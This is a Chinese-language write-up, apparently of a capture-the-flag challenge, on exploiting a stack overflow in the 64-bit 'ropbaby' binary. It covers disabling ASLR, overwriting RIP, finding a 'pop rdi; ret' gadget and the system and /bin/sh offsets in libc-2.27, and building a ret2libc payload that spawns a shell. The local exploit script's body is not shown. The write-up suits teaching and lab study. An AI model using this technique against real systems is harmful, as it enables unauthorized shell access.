调试环境
程序分析
file命令查看文件信息
1 | ELF格式文件 64位 |
1 | 使用gdb自带checksec查看文件安全策略,也可自己git单独下载 |
- 如下命令可关闭PIE
- sysctl -w kernel.randomize_va_space=0
- echo “0” > /proc/sys/kernel/randomize_va_space
开始调试
1 | 运行尝试寻找崩溃点 |
1 | 功能点3发现崩溃点,buf大于8以上可能造成缓冲区溢出,并生成字符串测试崩溃 |
1 | 崩溃在 [#0] 0x555555554eb3 → ret ,如果不在调试器中运行程序会提示段错误. |
1 | 尝试改变rip被覆盖的地址 |
1 | 成功改变了rip地址 |
利用分析
- linux_64与linux_86的区别主要有两点:
- 首先是内存地址的范围由32位变成了64位。但是可以使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常。
- 其次是函数参数的传递方式发生了改变,x86中参数都是保存在栈上,但在x64中的前六个参数依次保存在RDI, RSI, RDX, RCX, R8和 R9中,如果还有更多的参数的话才会保存在栈上。
- x86-64的GCC调用约定将第一个参数放在寄存器rdi中.控制rip地址 echo -ne ‘3\n32\nAAAAAAAABBBBBB\x00\x00CCCCCCCCDDDDDDDD\n’ | ./ropbaby
获得rop地址:
- ldd ropbaby 获得程序都调用哪些so文件,其中是否有存在 pop rdi;ret指令
- 方式1: python ROPgadget.py –binary /lib/x86_64-linux-gnu/libc-2.27.so –only “pop rdi | ret”
- 方式2:./rp-osx-x64 –unique -f /lib/x86_64-linux-gnu/libc-2.27.so -r 1 | grep “pop rdi”
找到rop链偏移地址 0x00000000000224df : pop rdi;ret
gadget_address 0x7ffff7e53aaf = 0x00007FFFF7E315D0 (功能2给出system_address) + 0x00000000000224df (找到的pop rdi ; ret偏移地址)
/bin/sh放到rdi中,需要清楚的地址
ibc_address
system_offset
binsh_offset
system_address
binsh_address
pop_rdi_retaddress
payload:‘A’*8 + gadget_address + binsh_address + system_address
寻找so文件中system函数地址与偏移
- 方式1:nm -D /lib/x86_64-linux-gnu/libc-2.27.so | grep __libc_system 得出 00000000000435d0
- 方式2:objdump -T /lib/x86_64-linux-gnu/libc-2.27.so | grep system
- 方式3:IDA类工具在导出表中查找
寻找so文件中/bin/sh的地址与偏移获得
- 方式1:gdb find /b find /b 0x7ffff7dee000,0x7ffff7fa7000,’/‘,’b’,’i’,’n’,’/‘,’s’,’h’
得到 0x7ffff7f6d573: “/bin/sh” - 方式2:strings -a -tx /lib/x86_64-linux-gnu/libc-2.27.so | grep /bin/sh 得到在so库中的偏移为:17f573 /bin/sh 固定不变 libc基地址+/bin/sh 偏移得到/bin/sh的地址
- 方式3:IDA类工具在导出表中查找
再次验证程序功能1所提供地址
执行完功能1,Ctrl+c进入调试器,然后输入info proc map找出libc基址,相当于用 cat /proc/pid/maps
加载libc的实际地址是 0x7ffff7dee000:”\177ELF\002\001\001\003”
在Linux系统上,基地址的前4个字节通常是“\x7fELF”或“\x7f\x45\x4c\x46”验证下是否一致,一致.
程序功能1原来程序功能1提供的是个指向实际的 libc 基地址 0x00007ffff7dee000
本地利用
1 | #!/usr/bin/python |
1 | { ./gadget.py; cat -;} | ./ropbaby |
远程利用
- savedregs是一个IDA关键字,表示保存的堆栈帧指针和函数返回地址.
- radare2调试
- IDA分析